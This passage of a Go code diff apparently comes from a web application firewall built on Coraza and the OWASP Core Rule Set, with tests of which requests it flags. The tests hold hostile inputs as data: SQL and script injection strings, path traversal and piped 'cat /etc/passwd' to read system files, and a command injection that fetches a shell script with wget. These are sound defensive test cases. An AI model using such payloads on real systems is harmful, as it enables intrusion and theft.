SecRuleRemove or +// SecRuleUpdate. +func checkExclusions(exclusions string) error { + for _, directive := range directivesIn(exclusions) { + for _, match := range numberOrRange.FindAllStringSubmatch(directive, -1) { + first, _ := strconv.Atoi(match[1]) + + last := first + if match[2] != "" { + last, _ = strconv.Atoi(match[2]) + } + + if first <= lastOwnRuleID && last >= firstOwnRuleID { + return fmt.Errorf( + "the exclusions file names %s: %w", + match[0], + errSwwRuleID, + ) + } + } + + // Coraza takes the directive's name up to the first space, without + // regard to case. + name, _, _ := strings.Cut(directive, " ") + if lower := strings.ToLower(name); strings.HasPrefix( + lower, + "secruleremove", + ) || + strings.HasPrefix(lower, "secruleupdate") { + return fmt.Errorf( + "%s in the exclusions file changes no rule: %w", + name, + errChangesNoRule, + ) + } + } + + return nil +} + +// CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe +// for concurrent use. +type CoreRuleSet struct { + engine coraza.WAF + bodyInspectionSize int64 + // appsByHostname are the names of the apps each hostname serves, by + // hostname in lowercase (SWW_WAF_APPS), nil while SWW_WAF_APPS is unset. + appsByHostname map[string][]string +} + +// New returns the Core Rule Set with the five changes and the apps' fixes, +// at params' paranoia level, without the rules it switches off, reading +// request bodies up to params' body inspection size, and with params' +// exclusions file loaded before the Core Rule Set's rules. An exclusions +// file is an error if it cannot be read or does not parse, or if +// checkExclusions refuses it. +func New(params Params) (*CoreRuleSet, error) { + body := "" + if params.BodyInspectionSize > 0 { + body = fmt.Sprintf(bodyDirectives, params.BodyInspectionSize) + } + + exclusions := "" + + if params.ExclusionsFile != "" { + file, err := os.ReadFile(params.ExclusionsFile) + if err != nil { + return nil, fmt.Errorf("read the exclusions file: %w", err) + } + + exclusions = string(file) + + err = checkExclusions(exclusions) + if err != nil { + return nil, err + } + } + + var fixes strings.Builder + for _, name := range AppNames() { + fixes.WriteString(apps[name].directives + "\n") + } + + text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions, + fixes.String()) + + if len(params.DisabledRules) > 0 { + ids := make([]string, len(params.DisabledRules)) + for i, id := range params.DisabledRules { + ids[i] = strconv.Itoa(id) + } + + text += "SecRuleRemoveById " + strings.Join(ids, " ") + "\n" + } + + engine, err := coraza.NewWAF(coraza.NewWAFConfig(). + WithRootFS(coreruleset.FS). + WithDirectives(text)) + if err != nil { + return nil, fmt.Errorf("load the Core Rule Set: %w", err) + } + + return &CoreRuleSet{ + engine: engine, + bodyInspectionSize: params.BodyInspectionSize, + appsByHostname: params.Apps, + }, nil +} + +// Result is what the Core Rule Set found in a request. +type Result struct { + // RuleIDs are the ids of the rules that matched, in the order they + // ran. + RuleIDs []int + // Score is the request's anomaly score: what those rules add up to. + Score int +} + +// Inspect runs the Core Rule Set on r, a request from client, with the +// fixes of the apps appsFor names for r's hostname: on its method, its URL +// with the query, and its headers, the Cookie header without those apps' +// cookies, and on body, r's body as the caller has it, as readBody reads +// it. It returns what it found, what it read of body, and the error that +// ended the reading early, if one did. +func (c *CoreRuleSet) Inspect( + r *http.Request, client netip.Addr, body io.Reader, +) (Result, []byte, error) { + tx := c.engine.NewTransaction() + // Closing would remove the files Coraza wrote, and it writes none. + defer func() { _ = tx.Close() }() + + // The transaction's variables are set only through Coraza's interface + // for plugins. + state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is + + var cookiesNotRead []string + + for _, name := range c.appsFor(r.Host) { + state.Variables().TX().Set("app_"+name, []string{"1"}) + cookiesNotRead = append(cookiesNotRead, apps[name].cookies...) + } + + tx.ProcessConnection(client.String(), 0, "", 0) + tx.ProcessURI(r.URL.String(), r.Method, r.Proto) + + for name, values := range r.Header { + for _, value := range values { + if name == "Cookie" { + value = withoutCookies(value, cookiesNotRead) + if value == "" { + continue // it held those cookies alone + } + } + + tx.AddRequestHeader(name, value) + } + } + + // Go's server takes these two out of the headers. + tx.AddRequestHeader("Host", r.Host) + + for _, encoding := range r.TransferEncoding { + tx.AddRequestHeader("Transfer-Encoding", encoding) + } + + tx.ProcessRequestHeaders() + + read, err := c.readBody(tx, body) + + // This reads the body in memory and runs the rest of the rules, and + // cannot fail. + _, _ = tx.ProcessRequestBody() + + var ids []int + + for _, matched := range tx.MatchedRules() { + // The rules that look for attacks have a severity; the others set + // the Core Rule Set up and add up the score. + rule := matched.Rule() + if rule.Severity() != types.RuleSeverityUnset { + ids = append(ids, rule.ID()) + } + } + + return Result{RuleIDs: ids, Score: score(tx)}, read, err +} + +// mostJSONRead is the largest JSON body the Core Rule Set reads, even while +// SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is larger. Coraza names each +// value in a JSON body by the whole path to it, so what it gives the Core +// Rule Set to read can outgrow the body: up to 8 times its size, and up to +// 4 KiB for a small body. 1 KiB of JSON thus gives at most 8 KiB, no more +// than the largest body of another kind. +const mostJSONRead = 1 << 10 + +// readBody reads body, the body of the request in tx, which has run on +// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is +// set and the body is of a kind the Core Rule Set reads: form data and +// multipart, of which it reads the first c.bodyInspectionSize bytes, and +// JSON and XML, which it reads only when they are no longer than that, +// since they cannot be read in part. The Core Rule Set reads no JSON body +// longer than mostJSONRead either. +// readBody reads one byte past c.bodyInspectionSize, to tell which they +// are, gives the Core Rule Set what it reads, and returns what it read and +// the error that ended the reading early, if one did. +func (c *CoreRuleSet) readBody( + tx types.Transaction, + body io.Reader, +) ([]byte, error) { + if c.bodyInspectionSize == 0 { + return nil, nil + } + + inPart := false + // largest is the largest JSON or XML body the Core Rule Set reads. + largest := c.bodyInspectionSize + // How the body is read is a variable of the transaction, which only + // Coraza's interface for plugins reads. + state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is + + switch state.Variables().RequestBodyProcessor().Get() { + case "URLENCODED", "MULTIPART": + inPart = true + case "JSON": + largest = min(largest, mostJSONRead) + case "XML": + default: + return nil, nil + } + + read, err := io.ReadAll(io.LimitReader(body, c.bodyInspectionSize+1)) + + if inPart || (err == nil && int64(len(read)) <= largest) { + // Coraza holds what it reads of the body in memory, up to the + // limit, so this cannot fail. + _, _, _ = tx.WriteRequestBody(read) + } + + return read, err +} + +// score returns the anomaly score the Core Rule Set added up in tx, a +// transaction it has run, or 0 if a rule that adds it up is switched off. +func score(tx types.Transaction) int { + // The score is in a variable of the transaction, which only Coraza's + // interface for plugins reads. + state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is + + values := state.Variables().TX().Get("blocking_inbound_anomaly_score") + if len(values) == 0 { + return 0 + } + + n, _ := strconv.Atoi(values[0]) + + return n +} + +// appsFor returns the names of the apps whose fixes a request for host, +// its Host header, gets: every app while SWW_WAF_APPS is unset, and otherwise +// those SWW_WAF_APPS lists for host's name, without the port and in +// lowercase, each followed by the app it is a fork of, if any. +func (c *CoreRuleSet) appsFor(host string) []string { + if c.appsByHostname == nil { + return AppNames() + } + + hostname, _, err := net.SplitHostPort(host) + if err != nil { + hostname = host // it has no port + } + + var names []string + + for _, name := range c.appsByHostname[strings.ToLower(hostname)] { + names = append(names, name) + if apps[name].forkOf != "" { + names = append(names, apps[name].forkOf) + } + } + + return names +} + +// withoutCookies returns value, a Cookie header's, without the cookies +// named in cookiesNotRead. +func withoutCookies(value string, cookiesNotRead []string) string { + var kept []string + + for cookie := range strings.SplitSeq(value, ";") { + name, _, _ := strings.Cut(strings.TrimSpace(cookie), "=") + if !slices.Contains(cookiesNotRead, name) { + kept = append(kept, cookie) + } + } + + return strings.Join(kept, ";") +} diff --git a/internal/coreruleset/coreruleset_test.go b/internal/coreruleset/coreruleset_test.go new file mode 100644 index 0000000..52a3146 --- /dev/null +++ b/internal/coreruleset/coreruleset_test.go @@ -0,0 +1,2981 @@ +package coreruleset_test + +import ( + "context" + "encoding/json" + "fmt" + "math/rand/v2" + "net/http" + "net/http/httptest" + "net/netip" + "net/url" + "os" + "path/filepath" + "reflect" + "slices" + "strconv" + "strings" + "sync" + "testing" + + "sneak.berlin/go/smallwebwaf/internal/coreruleset" +) + +// defaultDisabledRules are the rules SWW_WAF_CORE_RULE_SET_DISABLED_RULES switches off +// by default. +// +//nolint:gochecknoglobals // a constant cannot be a list +var defaultDisabledRules = []int{ + 920340, + 920420, + 920440, + 920640, + 930130, + 930140, +} + +// loaded holds, for each set of settings the tests have asked for, the +// function that loads the Core Rule Set with them once. +// +//nolint:gochecknoglobals // the tests share it +var loaded = struct { + sync.Mutex + + loaders map[string]func() (*coreruleset.CoreRuleSet, error) +}{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}} + +// loaderFor returns the function that loads the Core Rule Set with params +// once, making it the first time params are asked for. %#v writes a nil +// Apps, which gives every app's fixes, apart from an empty one, which +// gives none. +func loaderFor( + params coreruleset.Params, +) func() (*coreruleset.CoreRuleSet, error) { + loaded.Lock() + defer loaded.Unlock() + + settings := fmt.Sprintf("%#v", params) + + load, found := loaded.loaders[settings] + if !found { + load = sync.OnceValues(func() (*coreruleset.CoreRuleSet, error) { + return coreruleset.New(params) + }) + loaded.loaders[settings] = load + } + + return load +} + +// shared returns the Core Rule Set with params, loaded once for every +// test that asks for the same settings. +func shared( + t *testing.T, + params coreruleset.Params, +) *coreruleset.CoreRuleSet { + t.Helper() + + crs, err := loaderFor(params)() + if err != nil { + t.Fatalf("load the Core Rule Set: %v", err) + } + + return crs +} + +// sharedCoreRuleSet returns the Core Rule Set at paranoia level level, +// with the rules in disabled switched off. The set is shared with every +// test that asks for the same settings. +func sharedCoreRuleSet( + t *testing.T, level int, disabled ...int, +) *coreruleset.CoreRuleSet { + t.Helper() + + return shared( + t, + coreruleset.Params{ParanoiaLevel: level, DisabledRules: disabled}, + ) +} + +// TestConcurrentRequestsKeepTheirOwnExclusions inspects a Drupal and a +// WordPress request at once, many times over, on one Core Rule Set, as +// sww's server does. Each passes only while its own exclusions apply. +func TestConcurrentRequestsKeepTheirOwnExclusions(t *testing.T) { + t.Parallel() + + const rounds = 50 + + crs := atDefaults(t) + targets := []string{ + "/admin/people?user=docker-compose.yml&status=All&role=All&permission=All", + "/wp-admin/edit-tags.php?taxonomy=post_tag&post_type=post&s=python3", + } + + var inspecting sync.WaitGroup + + for range rounds { + for _, target := range targets { + inspecting.Go(func() { + req := httptest.NewRequestWithContext( + t.Context(), + http.MethodGet, + "http://git.example"+target, + nil, + ) + req.Header.Set( + "User-Agent", + "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+ + "Gecko/20100101 Firefox/131.0", + ) + req.Header.Set("Accept", "text/html") + + result, _, err := crs.Inspect( + req, + netip.MustParseAddr("203.0.113.9"), + req.Body, + ) + if err != nil || + !reflect.DeepEqual(result, coreruleset.Result{}) { + t.Errorf("GET %s: %+v, %v", target, result, err) + } + }) + } + } + + inspecting.Wait() +} + +// request is a request a test inspects: its method, its target, the path +// and the query as a client sends them, and its headers, each written +// "Name: value". +type request struct { + method, target string + headers []string +} + +// get is a GET request for target with headers. +func get(target string, headers ...string) request { + return request{http.MethodGet, target, headers} +} + +// inspect returns what crs finds in r, sent to git.example by a browser, +// whose Host, User-Agent and Accept r.headers may replace. +func inspect( + t *testing.T, + crs *coreruleset.CoreRuleSet, + r request, +) coreruleset.Result { + t.Helper() + + result, _ := inspectBody(t, crs, r, "") + + return result +} + +// inspectBody is inspect for r with body, which is announced with its +// Content-Length unless it is "", and returns what crs read of body too. +func inspectBody( + t *testing.T, crs *coreruleset.CoreRuleSet, r request, body string, +) (coreruleset.Result, string) { + t.Helper() + + req := httptest.NewRequestWithContext(t.Context(), r.method, + "http://git.example"+r.target, strings.NewReader(body)) + req.Header.Set( + "User-Agent", + "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+ + "Gecko/20100101 Firefox/131.0", + ) + req.Header.Set("Accept", "text/html") + + if body != "" { + req.Header.Set("Content-Length", strconv.Itoa(len(body))) + } + + for _, header := range r.headers { + // Go's server keeps Host and Transfer-Encoding out of the headers, + // whatever their case. + name, value, _ := strings.Cut(header, ": ") + switch http.CanonicalHeaderKey(name) { + case "Host": + req.Host = value + case "Transfer-Encoding": + req.TransferEncoding = []string{value} + default: + req.Header.Set(name, value) + } + } + + result, read, err := crs.Inspect( + req, + netip.MustParseAddr("203.0.113.9"), + req.Body, + ) + if err != nil { + t.Fatalf("read the body: %v", err) + } + + return result, string(read) +} + +// wantResult checks what crs finds in r. +func wantResult( + t *testing.T, + crs *coreruleset.CoreRuleSet, + r request, + want coreruleset.Result, +) { + t.Helper() + + if got := inspect(t, crs, r); !reflect.DeepEqual(got, want) { + t.Errorf( + "%s %s %q: %+v, want %+v", + r.method, + r.target, + r.headers, + got, + want, + ) + } +} + +// matched is the result of a request that the rules ids match, each of +// them a critical one, which adds 5 to the score. +func matched(ids ...int) coreruleset.Result { + const critical = 5 + + return coreruleset.Result{RuleIDs: ids, Score: critical * len(ids)} +} + +// atDefaults returns the Core Rule Set as sww runs it by default. +func atDefaults(t *testing.T) *coreruleset.CoreRuleSet { + t.Helper() + + return sharedCoreRuleSet(t, 1, defaultDisabledRules...) +} + +// wantChange checks that crs lets through passes, a request one of the +// five changes or an app's fixes are for, and still finds result in +// refused, a request like it that they are not for. +func wantChange( + t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request, + result coreruleset.Result, +) { + t.Helper() + + wantResult(t, crs, passes, coreruleset.Result{}) + wantResult(t, crs, refused, result) +} + +func TestPutPatchAndDeleteAreAllowed(t *testing.T) { + t.Parallel() + + crs := atDefaults(t) + + for _, r := range []request{ + {http.MethodPut, "/v2/owner/image/blobs/uploads/1?digest=sha256:ab", nil}, + {http.MethodPatch, "/api/v1/repos/owner/repo/issues/1", nil}, + {http.MethodDelete, "/api/v1/repos/owner/repo/branches/old", nil}, + } { + wantChange( + t, + crs, + r, + request{http.MethodTrace, r.target, nil}, + matched(911100), + ) + } + + wantChange( + t, + crs, + get("/"), + request{"PROPFIND", "/", nil}, + matched(911100), + ) +} + +func TestExpectAndContentEncodingAreAllowed(t *testing.T) { + t.Parallel() + + const ( + pushType = "Content-Type: application/x-git-receive-pack-request" + fetchType = "Content-Type: application/x-git-upload-pack-request" + length = "Content-Length: 1024" + push = "/owner/repo.git/git-receive-pack" + fetch = "/owner/repo.git/git-upload-pack" + ) + + crs := atDefaults(t) + + wantResult( + t, + crs, + request{ + http.MethodPost, + push, + []string{pushType, length, "Expect: 100-continue"}, + }, + coreruleset.Result{}, + ) + wantResult(t, crs, + request{http.MethodPost, fetch, []string{ + fetchType, length, "Content-Encoding: gzip", + }}, + coreruleset.Result{}) + + // Every other header on the Core Rule Set's list stays refused. + for _, header := range []string{ + "Proxy: http://proxy.example", + "Lock-Token: token", + "Content-Range: bytes 0-1023/1024", + "If: token", + "X-HTTP-Method-Override: DELETE", + "X-HTTP-Method: DELETE", + "X-Method-Override: DELETE", + "X-Middleware-Subrequest: middleware", + } { + wantResult( + t, + crs, + request{ + http.MethodPost, + push, + []string{pushType, length, header}, + }, + matched(920450), + ) + } +} + +func TestTransferEncodingIsRead(t *testing.T) { + t.Parallel() + + // git sends a large push in chunks, with no Content-Length. Without + // Transfer-Encoding, that would be a POST without a length (920180). + wantResult( + t, + atDefaults(t), + request{ + http.MethodPost, + "/owner/repo.git/git-receive-pack", + []string{ + "Content-Type: application/x-git-receive-pack-request", + "Transfer-Encoding: chunked", + }, + }, + coreruleset.Result{}, + ) +} + +func TestMoreParametersThanCorazaKeepsIsAMatch(t *testing.T) { + t.Parallel() + + const attack = "id=1'%20OR%20'1'='1" + + crs := atDefaults(t) + + // Coraza keeps 1000: an attack that is the 1000th is read, and one + // after it is not, but the request is a match all the same. + wantResult( + t, + crs, + get("/?"+strings.Repeat("a=1&", 999)+attack), + matched(942100), + ) + wantResult( + t, + crs, + get("/?"+strings.Repeat("a=1&", 1000)+attack), + matched(900300), + ) + + // So it is with the fields of a form data body. A JSON body the Core + // Rule Set reads, of at most mostJSONRead bytes, cannot hold that many. + crs = readingBodies(t) + + body := strings.Repeat("a=1&", 999) + attack + wantBody(t, crs, post(formData), body, matched(942100), body) + + body = strings.Repeat("a=1&", 1000) + attack + wantBody(t, crs, post(formData), body, matched(900300), body) +} + +func TestRedirectURIMayNameALocalAddress(t *testing.T) { + t.Parallel() + + const oauth = "/login/oauth/authorize?client_id=tea&response_type=code&" + + crs := atDefaults(t) + + wantChange(t, crs, get(oauth+"redirect_uri=http://127.0.0.1:52341/"), + get(oauth+"next=http://127.0.0.1:52341/"), matched(931100, 934110)) + wantChange(t, crs, get(oauth+"redirect_uri=http://localhost:52341/"), + get(oauth+"next=http://localhost:52341/"), matched(934110)) +} + +func TestParametersGiteaSendsNamesInSkipTheListsOfFilesPathsAndCommands( + t *testing.T, +) { + t.Parallel() + + crs := atDefaults(t) + + for _, value := range []struct { + name string + // result is what a parameter that is not one of gitea's gets. + result coreruleset.Result + }{ + // A file on the list of system files. + {".gitignore", matched(930120)}, + // A command's name, after a directory on the list of shell paths. + {"bin/docker-entrypoint", matched(932260, 932160)}, + } { + for _, parameter := range []string{ + "path", "files", "skip-to", "sub_path", "ref", "sha", "branch", "workflow", + "artifactName", "redirect_to", + } { + wantChange(t, crs, get("/?"+parameter+"="+value.name), + get("/?q="+value.name), value.result) + } + } + + // What only those rules refuse gets through there too, but path + // traversal and SQL injection are still refused. + wantChange( + t, + crs, + get("/?path=|cat%20/etc/passwd"), + get("/?q=|cat%20/etc/passwd"), + matched(930120, 932160), + ) + wantResult(t, crs, get("/?path=../../etc/passwd"), + coreruleset.Result{RuleIDs: []int{930100, 930110}, Score: 20}) + wantResult(t, crs, get("/?path=1'%20OR%20'1'='1"), matched(942100)) +} + +func TestParameterNamesAreMatchedWithoutRegardToCase(t *testing.T) { + t.Parallel() + + crs := atDefaults(t) + + wantChange( + t, + crs, + get("/?Path=.gitignore"), + get("/?q=.gitignore"), + matched(930120), + ) + wantChange(t, crs, get("/?REDIRECT_URI=http://127.0.0.1:52341/"), + get("/?next=http://127.0.0.1:52341/"), matched(931100, 934110)) +} + +func TestFlashAndRedirectToCookiesAreNotRead(t *testing.T) { + t.Parallel() + + const ( + flash = "success%3DFile%2Bpackage.json%2Bdeleted" + redirectTo = "%2Fowner%2Frepo%2Fsrc%2Fbranch%2Fmain%2Fpackage.json" + ) + + crs := atDefaults(t) + + // flash is Forgejo's name for gitea_flash. + for _, name := range []string{"gitea_flash", "flash"} { + wantChange(t, crs, get("/owner/repo", "Cookie: "+name+"="+flash), + get("/owner/repo", "Cookie: message="+flash), matched(930120)) + } + + wantChange(t, crs, get("/", "Cookie: redirect_to="+redirectTo), + get("/", "Cookie: redirect="+redirectTo), matched(930120)) + + // Among other cookies, which are read. + wantChange( + t, + crs, + get( + "/", + "Cookie: lang=en-US; gitea_flash="+flash+"; redirect_to="+redirectTo+ + "; i_like_gitea=abc", + ), + get( + "/", + "Cookie: lang=en-US; gitea_flash="+flash+"; redirect="+redirectTo+ + "; i_like_gitea=abc", + ), + matched(930120), + ) +} + +func TestRefererIsNotCheckedForACommandOrJava(t *testing.T) { + t.Parallel() + + const ( + search = "https://git.example/explore/repos?q=env" + runtimeJava = "https://git.example/openjdk/jdk/src/branch/master/src/" + + "java.base/share/classes/java/lang/Runtime.java" + stringMD = "https://git.example/owner/repo/src/branch/main/java.lang.String.md" + ) + + crs := atDefaults(t) + + wantChange( + t, + crs, + get("/", "Referer: "+search), + get("/", "User-Agent: "+search), + matched(932340), + ) + wantChange(t, crs, get("/", "Referer: "+runtimeJava), + get("/", "X-Page: "+runtimeJava), matched(944110)) + wantChange( + t, + crs, + get("/", "Referer: "+stringMD), + get("/", "X-Page: "+stringMD), + matched(944130), + ) + + // It is still checked for script and SQL injection. + wantResult( + t, + crs, + get( + "/", + "Referer: https://git.example/?q=", + ), + matched(941110, 941160), + ) + wantResult( + t, + crs, + get("/", "Referer: https://git.example/?q=1' OR '1'='1"), + matched(942100), + ) +} + +func TestEmptyHeaderIsRead(t *testing.T) { + t.Parallel() + + // An empty User-Agent is a notice, which adds 2. + wantResult(t, atDefaults(t), get("/", "User-Agent: "), + coreruleset.Result{RuleIDs: []int{920330}, Score: 2}) +} + +func TestParanoiaLevel(t *testing.T) { + t.Parallel() + + // Accept-Charset is refused from paranoia level 2. + r := get("/", "Accept-Charset: utf-8") + + wantResult(t, sharedCoreRuleSet(t, 1), r, coreruleset.Result{}) + wantResult(t, sharedCoreRuleSet(t, 2), r, matched(920451)) +} + +func TestEachDisabledRuleIsSwitchedOff(t *testing.T) { + t.Parallel() + + // A method not allowed, and a Host that is an IP address, a warning, + // which adds 3. + r := request{http.MethodTrace, "/", []string{"Host: 192.0.2.1"}} + + wantResult(t, sharedCoreRuleSet(t, 1), r, + coreruleset.Result{RuleIDs: []int{911100, 920350}, Score: 8}) + wantResult( + t, + sharedCoreRuleSet(t, 1, 920350, 911100), + r, + coreruleset.Result{}, + ) +} + +func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) { + t.Parallel() + + crs := atDefaults(t) + reuse := "?mount=sha256:0000&from=owner/python3-app" + + wantChange( + t, + crs, + get("/v2/owner/app/blobs/uploads/"+reuse), + get("/upload/"+reuse), + matched(932260), + ) + + // A command after the image's name is still refused. + wantResult(t, crs, + get("/v2/owner/app/blobs/uploads/?from=owner/app;cat%20/etc/passwd"), + matched(930120, 932160)) +} + +// giteaFixed are gitea requests that only gitea's fixes let through, one +// for each kind of fix, each with what the Core Rule Set finds in it +// without them. +// +//nolint:gochecknoglobals // a constant cannot be a list +var giteaFixed = []struct { + request request + result coreruleset.Result +}{ + // A search of code, on the path of gitea's search. + { + get("/explore/code?q=SELECT%20*%20FROM%20users%20WHERE"), + matched(942100), + }, + // A file name, in a parameter gitea sends names in, on any path. + {get("/?path=.gitignore"), matched(930120)}, + // A file name, in a cookie of gitea's. + { + get( + "/owner/repo", + "Cookie: gitea_flash=success%3DFile%2Bpackage.json%2Bdeleted", + ), + matched(930120), + }, + // A page opened from the page of a file named for a Java class. + { + get("/", "Referer: https://git.example/owner/repo/src/branch/main/"+ + "java.lang.String.md"), + matched(944130), + }, + // An image push that reuses a layer, naming the image the layer comes from. + {get("/v2/owner/app/blobs/uploads/?from=python3"), matched(932260)}, +} + +// The hostnames of the tests of SWW_WAF_APPS: the one that serves gitea, and +// one that serves another app. +const ( + giteaHost = "git.example" + otherHost = "blog.example" +) + +// gitea is gitea's name in SWW_WAF_APPS. +const gitea = "gitea" + +// wordpress is WordPress's name in SWW_WAF_APPS. +const wordpress = "wordpress" + +// withHost returns r sent to host. +func withHost(r request, host string) request { + return request{ + r.method, + r.target, + append([]string{"Host: " + host}, r.headers...), + } +} + +// servingApps returns the Core Rule Set at the defaults, with SWW_WAF_APPS +// giving apps. +func servingApps( + t *testing.T, + apps map[string][]string, +) *coreruleset.CoreRuleSet { + t.Helper() + + return shared(t, coreruleset.Params{ + ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, Apps: apps, + }) +} + +func TestAppsUnsetGivesEveryHostnameEveryAppsFixes(t *testing.T) { + t.Parallel() + + crs := servingApps(t, nil) + + for _, fixed := range giteaFixed { + for _, host := range []string{giteaHost, otherHost} { + wantResult( + t, + crs, + withHost(fixed.request, host), + coreruleset.Result{}, + ) + } + } +} + +func TestListedHostnameGetsItsAppsFixes(t *testing.T) { + t.Parallel() + + crs := servingApps(t, map[string][]string{giteaHost: {gitea}}) + + // The hostname is matched without the port and without regard to case. + for _, host := range []string{giteaHost, "GIT.Example:8443"} { + for _, fixed := range giteaFixed { + wantResult( + t, + crs, + withHost(fixed.request, host), + coreruleset.Result{}, + ) + } + } +} + +func TestUnlistedHostnameGetsTheFullCheck(t *testing.T) { + t.Parallel() + + for _, apps := range []map[string][]string{ + {giteaHost: {gitea}}, + // SWW_WAF_APPS set empty lists no hostname. + {}, + } { + crs := servingApps(t, apps) + + for _, host := range []string{otherHost, otherHost + ":8443", "git.example.org"} { + for _, fixed := range giteaFixed { + wantResult( + t, + crs, + withHost(fixed.request, host), + fixed.result, + ) + } + } + } +} + +func TestWordPressFixesApplyOnlyToAHostnameThatServesWordPress( + t *testing.T, +) { + t.Parallel() + + crs := servingApps(t, map[string][]string{ + giteaHost: {gitea}, otherHost: {wordpress}, + }) + + // A search, which only WordPress's fixes let through. + search := get("/?s=python3") + + wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{}) + wantResult(t, crs, withHost(search, giteaHost), matched(932260)) +} + +func TestHostnameListingTwoAppsGetsTheFixesOfBoth(t *testing.T) { + t.Parallel() + + crs := servingApps(t, map[string][]string{giteaHost: {gitea, wordpress}}) + + // A file name that only gitea's fixes let through, and a search that only + // WordPress's fixes let through. + for _, target := range []string{"/?path=.gitignore", "/?s=python3"} { + wantResult( + t, + crs, + withHost(get(target), giteaHost), + coreruleset.Result{}, + ) + } +} + +// withExclusions returns the Core Rule Set at the defaults, with the +// exclusions file at path. +func withExclusions(path string) (*coreruleset.CoreRuleSet, error) { + return coreruleset.New(coreruleset.Params{ + ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, ExclusionsFile: path, + }) +} + +// exclusionsFile writes text to a file of exclusions and returns its path. +func exclusionsFile(t *testing.T, text string) string { + t.Helper() + + path := filepath.Join(t.TempDir(), "exclusions.conf") + + err := os.WriteFile(path, []byte(text), 0o600) + if err != nil { + t.Fatal(err) + } + + return path +} + +// backupFileExclusion is an exclusions file that switches 920500, a rule +// of phase 1, off for the path of a backup file under /files/. +const backupFileExclusion = `SecRule REQUEST_FILENAME "@beginsWith /files/" ` + + `"id:1,phase:1,pass,nolog,ctl:ruleRemoveTargetById=920500;REQUEST_FILENAME"` + "\n" + +func TestExclusionsFileIsLoadedBeforeTheRules(t *testing.T) { + t.Parallel() + + crs, err := withExclusions(exclusionsFile(t, backupFileExclusion)) + if err != nil { + t.Fatalf("load the exclusions: %v", err) + } + + wantChange( + t, + crs, + get("/files/notes.txt~"), + get("/notes.txt~"), + matched(920500), + ) +} + +func TestRuleSwitchedOffAndNamedInTheExclusionsFileIsOff(t *testing.T) { + t.Parallel() + + crs, err := coreruleset.New(coreruleset.Params{ + ParanoiaLevel: 1, DisabledRules: []int{920500}, + ExclusionsFile: exclusionsFile(t, backupFileExclusion), + }) + if err != nil { + t.Fatalf("load the exclusions: %v", err) + } + + wantResult(t, crs, get("/notes.txt~"), coreruleset.Result{}) +} + +func TestExclusionsFileMayNameAnyNumberInAComment(t *testing.T) { + t.Parallel() + + _, err := withExclusions(exclusionsFile(t, + "# 942100: GET /issues/900123\n"+backupFileExclusion)) + if err != nil { + t.Errorf("the exclusions did not load: %v", err) + } +} + +func TestExclusionsFileThatCannotBeUsedIsAnError(t *testing.T) { + t.Parallel() + + missing := filepath.Join(t.TempDir(), "missing.conf") + + _, err := withExclusions(missing) + if err == nil { + t.Errorf("%s loaded", missing) + } + + for _, tc := range []struct{ text, want string }{ + {"SecNoSuchDirective On\n", "unknown directive"}, + // sww's own rules may not be switched off or changed, by + // id or in a range, on one line or split over several. + {"SecRuleRemoveById 899999-901000\n", "names 899999-901000"}, + { + "SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveById=899999-901000\"\n", + "names 899999-901000", + }, + { + "SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveById=899999-+901000\"\n", + "names 899999-+901000", + }, + { + "SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveTargetById=900500;ARGS:from\"\n", + "names 900500", + }, + {"SecRuleRemoveById 899000-\\\n 901000\n", "names 899000-901000"}, + { + "SecAction \"id:1,phase:1,pass,nolog,\\\n" + + " ctl:ruleRemoveById=9005\\\n 00\"\n", + "names 900500", + }, + // The Core Rule Set's rules load after the file. + {"SecRuleRemoveById 942100\n", "SecRuleRemoveById in the exclusions file"}, + { + "SecRuleUpdateTargetById 942100 \"!ARGS:id\"\n", + "SecRuleUpdateTargetById in the exclusions file", + }, + } { + _, err := withExclusions(exclusionsFile(t, tc.text)) + if err == nil || !strings.Contains(err.Error(), tc.want) { + t.Errorf( + "%q gave the error %v, want one with %q", + tc.text, + err, + tc.want, + ) + } + } +} + +// An SQL injection, a script injection and a shell command after a ";", as +// query values. Every app's tests check that its fields still refuse the +// first two. +const ( + sqlInjection = "1'%20OR%20'1'='1" + scriptInjection = "%3Cscript%3Ealert(1)%3C%2Fscript%3E" + commandInjection = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh" +) + +// passwordField is the form data field password, ending in "=", in which +// several apps take a password. +const passwordField = "password=" + +// passwordKey is that field's name, without the "=". +const passwordKey = "password" + +// retypeKey is the field in which apps take the same password again. +const retypeKey = "retype" + +// htaccess is the name of a web server's settings file, which the list of +// system files (930120) holds. +const htaccess = ".htaccess" + +// binSh is the shell path /bin/sh as a query or form value, which the rule for +// shell paths (932160) refuses. +const binSh = "%2Fbin%2Fsh" + +// hardValues are words that name commands and files, as a query or form +// value. An app's tests check that its fields let them through. +// +//nolint:gochecknoglobals // a constant cannot be a list +var hardValues = []string{"python3", "powershell", "ls%20-la", htaccess} + +// randomPassword returns a password of 20 characters, each one of the 95 +// printable ASCII characters, space included, drawn from random. +func randomPassword(random *rand.Rand) string { + const length = 20 + + var printable []byte + for c := byte(' '); c <= '~'; c++ { + printable = append(printable, c) + } + + password := make([]byte, length) + for i := range password { + password[i] = printable[random.IntN(len(printable))] + } + + return string(password) +} + +// rarePasswords are random passwords from randomPasswords' seed, found among +// the first 1,000,000. Each sets off the rule named beside it, which the first +// 2,000 do not set off. +// +//nolint:gochecknoglobals // a constant cannot be a list +var rarePasswords = []string{ + "x)g|E0f)~.um%00G]cX~hM", // 932125 + " /\"j14y[%\\(iM]zmG%=^", // 932130 + "\\f*q5v$]$IfS3JoY:*r1", // 932160 + 